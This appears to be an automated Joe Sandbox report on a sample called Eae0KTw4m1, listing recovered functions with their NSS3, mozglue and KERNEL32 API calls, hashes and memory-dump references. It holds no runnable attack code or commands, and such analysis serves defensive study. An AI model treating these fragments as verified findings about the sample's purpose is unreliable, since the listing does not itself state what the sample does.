API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]wl
API String ID: 1595327144-4199479424
Opcode ID: 6082861250407418eda706d020c1b9acbfbd2568d26d3043f83cf73e2a20a83f
Instruction ID: 5a446b6b845c81af86bc0a4f70f22e8ec4d4700b0af1e54845a9eb15a08265e3
Opcode Fuzzy Hash: 6082861250407418eda706d020c1b9acbfbd2568d26d3043f83cf73e2a20a83f
Instruction Fuzzy Hash: C301ADB56012009FDF10CF14EAC4B4677A8EF04B6CF1880B8EA098F746D734E808CBA1

Function 6C62C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C62C0E9), ref: 6C62C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C62C437
FreeLibrary.KERNEL32(?,6C62C0E9), ref: 6C62C44C

Strings

NtQueryVirtualMemory, xrefs: 6C62C431
ntdll.dll, xrefs: 6C62C413

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 85d762d0bd75512e751db3025ae304935c40ec91e39cdca2b0fdbe2335388998
Instruction ID: 44ca26d44f00dcbc182d4a83ddd1486ba018090b1929048988630f2cf9a13dff
Opcode Fuzzy Hash: 85d762d0bd75512e751db3025ae304935c40ec91e39cdca2b0fdbe2335388998
Instruction Fuzzy Hash: A9E09270705701AFEB007FB7CD88B167AF8AB8638CF00E116AA0599651EBB4C0028A5E

Function 6C6DEDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6DEDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C6DEE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C6DEECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6DEEEB
free.MOZGLUE(?), ref: 6C6DEEF6

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: dd4f2630791e664cec944f1e9256f9c17b966ed904ee2b2a90d64cc1d4782fdd
Instruction ID: 2419086b34f21af4dca588dc6f88ae28be1f4ff3845871052f51cf9b32ac64aa
Opcode Fuzzy Hash: dd4f2630791e664cec944f1e9256f9c17b966ed904ee2b2a90d64cc1d4782fdd
Instruction Fuzzy Hash: 9B31E6B1A006029BD7209F29CC44766BBF4FB46319F160638E85A87A51D731F815C7D5

Function 6C6EAD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C6E3FFF,00000000,?,?,?,?,?,6C6E1A1C,00000000,00000000), ref: 6C6EADA7

Part of subcall function 6C7414C0: TlsGetValue.KERNEL32 ref: 6C7414E0
Part of subcall function 6C7414C0: EnterCriticalSection.KERNEL32 ref: 6C7414F5
Part of subcall function 6C7414C0: PR_Unlock.NSS3 ref: 6C74150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C6E3FFF,00000000,?,?,?,?,?,6C6E1A1C,00000000,00000000), ref: 6C6EADB4

Part of subcall function 6C7410C0: TlsGetValue.KERNEL32(?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C7410F3
Part of subcall function 6C7410C0: EnterCriticalSection.KERNEL32(?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C74110C
Part of subcall function 6C7410C0: PL_ArenaAllocate.NSS3(?,?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C741141
Part of subcall function 6C7410C0: PR_Unlock.NSS3(?,?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C741182
Part of subcall function 6C7410C0: TlsGetValue.KERNEL32(?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C74119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C6E3FFF,?,?,?,?,6C6E3FFF,00000000,?,?,?,?,?,6C6E1A1C,00000000), ref: 6C6EADD5

Part of subcall function 6C73FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C738D2D,?,00000000,?), ref: 6C73FB85
Part of subcall function 6C73FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C73FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C8094B0,?,?,?,?,?,?,?,?,6C6E3FFF,00000000,?), ref: 6C6EADEC

Part of subcall function 6C73B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8118D0,?), ref: 6C73B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6E3FFF), ref: 6C6EAE3C

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 2b0671f4fcb295618216d1b1b21588059ea3ce2cd5170f4cc7d6f2c7357e3236
Instruction ID: 5df43e9a98b84c93fedaa4a3cdb1a6c22e3713c553b17bf91af690e54e7cc4a7
Opcode Fuzzy Hash: 2b0671f4fcb295618216d1b1b21588059ea3ce2cd5170f4cc7d6f2c7357e3236
Instruction Fuzzy Hash: C311AB31E002041BE7109B659D48BBF77F8DF5524CF008629EC1986742FB20E919C2E6

Function 6C738800 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C74085A,00000000,?,6C6E8369,?), ref: 6C738821
TlsGetValue.KERNEL32(?,?,6C74085A,00000000,?,6C6E8369,?), ref: 6C73883D
EnterCriticalSection.KERNEL32(?,?,?,6C74085A,00000000,?,6C6E8369,?), ref: 6C738856
PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C738887
PR_Unlock.NSS3(?,?,?,?,6C74085A,00000000,?,6C6E8369,?), ref: 6C738899

Part of subcall function 6C6D07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C66204A), ref: 6C6D07AD
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C66204A), ref: 6C6D07CD
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C66204A), ref: 6C6D07D6
Part of subcall function 6C6D07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C66204A), ref: 6C6D07E4
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,6C66204A), ref: 6C6D0864
Part of subcall function 6C6D07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6D0880
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,?,6C66204A), ref: 6C6D08CB
Part of subcall function 6C6D07A0: TlsGetValue.KERNEL32(?,?,6C66204A), ref: 6C6D08D7
Part of subcall function 6C6D07A0: TlsGetValue.KERNEL32(?,?,6C66204A), ref: 6C6D08FB

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: f90ed6d186553194c20fa2cd331253437b0cb851ebaf103ef0708de647a69d82
Instruction ID: 8e5f69bb26bf3fe41cca7ddb3e3cadc4892c82ff17c969713f202ee9a44abbca
Opcode Fuzzy Hash: f90ed6d186553194c20fa2cd331253437b0cb851ebaf103ef0708de647a69d82
Instruction Fuzzy Hash: F7218BB4A146158FCB10AF79C5845AABBF4FF06308F115A76DC98D7702EB30E895CB92

Function 6C7028A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C6F80DD), ref: 6C7028BA
EnterCriticalSection.KERNEL32(?,?,?,?,6C6F80DD), ref: 6C7028D3
PR_Unlock.NSS3(?,?,?,?,?,6C6F80DD), ref: 6C7028E8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6C6F80DD), ref: 6C70290E
free.MOZGLUE(?,?,?,?,?,?,6C6F80DD), ref: 6C70291A

Part of subcall function 6C6F9270: DeleteCriticalSection.KERNEL32(?,?,6C705089,?,6C703B70,?,?,?,?,?,6C705089,6C6FF39B,00000000), ref: 6C6F927F
Part of subcall function 6C6F9270: free.MOZGLUE(?,?,6C703B70,?,?,?,?,?,6C705089,6C6FF39B,00000000), ref: 6C6F9286
Part of subcall function 6C6F9270: PL_HashTableDestroy.NSS3(?,6C703B70,?,?,?,?,?,6C705089,6C6FF39B,00000000), ref: 6C6F9292

Part of subcall function 6C6F8B50: TlsGetValue.KERNEL32(00000000,?,6C700948,00000000), ref: 6C6F8B6B
Part of subcall function 6C6F8B50: EnterCriticalSection.KERNEL32(?,?,?,6C700948,00000000), ref: 6C6F8B80
Part of subcall function 6C6F8B50: PL_FinishArenaPool.NSS3(?,?,?,?,6C700948,00000000), ref: 6C6F8B8F
Part of subcall function 6C6F8B50: PR_Unlock.NSS3(?,?,?,?,6C700948,00000000), ref: 6C6F8BA1
Part of subcall function 6C6F8B50: DeleteCriticalSection.KERNEL32(?,?,?,?,6C700948,00000000), ref: 6C6F8BAC
Part of subcall function 6C6F8B50: free.MOZGLUE(?,?,?,?,?,6C700948,00000000), ref: 6C6F8BB8

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: CriticalSection$Deletefree$EnterUnlockValue$ArenaDestroyFinishHashPoolTable
String ID:
API String ID: 3225375108-0
Opcode ID: 157d5b5d06e7ff1d11b28895325c95fba98168e245875b929123200c5d1b31eb
Instruction ID: 05b940bc35ffce06cbee08b980aed654c8ad0754ebc8cccc42f62f2e78eb6c4d
Opcode Fuzzy Hash: 157d5b5d06e7ff1d11b28895325c95fba98168e245875b929123200c5d1b31eb
Instruction Fuzzy Hash: C42128B6A04B159BCB10AF78C188469BBF0FF06358F014A69DC9897700EB30E895CBD6

Function 6C6F8FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C700710), ref: 6C6F8FF1
PR_CallOnce.NSS3(6C842158,6C6F9150,00000000,?,?,?,6C6F9138,?,6C700710), ref: 6C6F9029
calloc.MOZGLUE(00000001,00000000,?,?,6C700710), ref: 6C6F904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C700710), ref: 6C6F9066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C700710), ref: 6C6F9078

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 9260a3990bb051436f13546f91ab1ec9587cf4d8e4ddc22b416196cca29abe0a
Instruction ID: d0730fddb6023f11e2c7e7e4828e4edc928b8bc56ab0651bd8977f0394d9fe36
Opcode Fuzzy Hash: 9260a3990bb051436f13546f91ab1ec9587cf4d8e4ddc22b416196cca29abe0a
Instruction Fuzzy Hash: A211482170421157E7201EAEAC08A6772AEEB827ACF000535FC64C2B40F753CC46C3E9

Function 6C70CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C721E10: TlsGetValue.KERNEL32 ref: 6C721E36
Part of subcall function 6C721E10: EnterCriticalSection.KERNEL32(?,?,?,6C6FB1EE,2404110F,?,?), ref: 6C721E4B
Part of subcall function 6C721E10: PR_Unlock.NSS3 ref: 6C721E76

free.MOZGLUE(?,6C70D079,00000000,00000001), ref: 6C70CDA5
PK11_FreeSymKey.NSS3(?,6C70D079,00000000,00000001), ref: 6C70CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C70D079,00000000,00000001), ref: 6C70CDCF
DeleteCriticalSection.KERNEL32(?,6C70D079,00000000,00000001), ref: 6C70CDE2
free.MOZGLUE(?), ref: 6C70CDE9

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 1f0000289378447aa54a4b352ba0f2a769cdf420c746885fa65ebaa312f8fc2a
Instruction ID: ebd3fd645e2e8bdc2b4870ce934b34641637532b38412e4a1a653f84368158a7
Opcode Fuzzy Hash: 1f0000289378447aa54a4b352ba0f2a769cdf420c746885fa65ebaa312f8fc2a
Instruction Fuzzy Hash: 6C11C2F2B01125BBDB10AEA5EE49996B7ACFF0426E7140531E909C7E01E732E424C7E2

Function 6C772CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C775B40: PR_GetIdentitiesLayer.NSS3 ref: 6C775B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C772CEC

Part of subcall function 6C78C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C78C2BF

PR_EnterMonitor.NSS3(?), ref: 6C772D02
PR_EnterMonitor.NSS3(?), ref: 6C772D1F
PR_ExitMonitor.NSS3(?), ref: 6C772D42
PR_ExitMonitor.NSS3(?), ref: 6C772D5B

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: f8a87a54bbb84641c86fc01a1a6804a77bcf29ecc4728e88344084b95d568267
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 700108B19406049FEB309E26FE49BC7B7A1EF51358F004535E86986721D232F42587A2

Function 6C772D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C775B40: PR_GetIdentitiesLayer.NSS3 ref: 6C775B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C772D9C

Part of subcall function 6C78C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C78C2BF

PR_EnterMonitor.NSS3(?), ref: 6C772DB2
PR_EnterMonitor.NSS3(?), ref: 6C772DCF
PR_ExitMonitor.NSS3(?), ref: 6C772DF2
PR_ExitMonitor.NSS3(?), ref: 6C772E0B

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 4c0f5e16d258ba9720d838d746ca8099b39aafce653af2adea6d5279bc05a6b8
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 6601CCB1A402049FDF305E65FE0DBC777A5EF51358F004535E46946711D632F42586A2

Function 6C70AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C6F3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C70AE42), ref: 6C6F30AA
Part of subcall function 6C6F3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6F30C7
Part of subcall function 6C6F3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6F30E5
Part of subcall function 6C6F3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6F3116
Part of subcall function 6C6F3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6F312B
Part of subcall function 6C6F3090: PK11_DestroyObject.NSS3(?,?), ref: 6C6F3154
Part of subcall function 6C6F3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6F317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C6E99FF,?,?,?,?,?,?,?,?,?,6C6E2D6B,?), ref: 6C70AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C6E99FF,?,?,?,?,?,?,?,?,?,6C6E2D6B,?), ref: 6C70AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C6E2D6B,?,?,00000000), ref: 6C70AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C6E2D6B,?,?,00000000), ref: 6C70AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C6E2D6B,?,?), ref: 6C70AEA3

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 90caf67a23e108e13db83f6db2664a342317bfc81fde7045da7b2af0386403a2
Instruction ID: 88c88836932c0e4a58086bdb9e7c90e4bc2b9153f651c194d2d37d823f240f9c
Opcode Fuzzy Hash: 90caf67a23e108e13db83f6db2664a342317bfc81fde7045da7b2af0386403a2
Instruction Fuzzy Hash: 2001F4E6B1452057E701912CAE9BAAF32DC8F976ACF080031E809D7B01F611D90547E7

Function 6C7FADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C7FA6D8), ref: 6C7FAE0D
free.MOZGLUE(?), ref: 6C7FAE14
DeleteCriticalSection.KERNEL32(6C7FA6D8), ref: 6C7FAE36
free.MOZGLUE(?), ref: 6C7FAE3D
free.MOZGLUE(00000000,00000000,?,?,6C7FA6D8), ref: 6C7FAE47

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 332eb5b32f39e2c7fae24832ef3d8c988ebf61f370c638cc5265a63b135d677f
Instruction ID: 78429ee063c6aac6384dbcbbc1d39c209bb55a1a9da05ffcc0c4d8e765884b01
Opcode Fuzzy Hash: 332eb5b32f39e2c7fae24832ef3d8c988ebf61f370c638cc5265a63b135d677f
Instruction Fuzzy Hash: 57F0F6B6201A15ABCA309FA8D849917777CBF867787100738E53EC3A41D731E016D7D1

Function 6C5ED468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C5FCBE8: GetCurrentProcess.KERNEL32(?,6C5C31A7), ref: 6C5FCBF1
Part of subcall function 6C5FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5C31A7), ref: 6C5FCBFA

EnterCriticalSection.KERNEL32(6C64E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED4F2
LeaveCriticalSection.KERNEL32(6C64E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED50B

Part of subcall function 6C5CCFE0: EnterCriticalSection.KERNEL32(6C64E784), ref: 6C5CCFF6
Part of subcall function 6C5CCFE0: LeaveCriticalSection.KERNEL32(6C64E784), ref: 6C5CD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED52E
EnterCriticalSection.KERNEL32(6C64E7DC), ref: 6C5ED690
LeaveCriticalSection.KERNEL32(6C64E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED751

Strings

MOZ_CRASH(), xrefs: 6C5ED4BB

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 648b0c62094fff5cbba7bd47db1e0f0a3d6cee7ca5d2e2278e1026db14bc99b3
Instruction ID: 2b003cac30baf2af759a1fc2c1d4737b594f24eba15d151e9c9e47463cde73fe
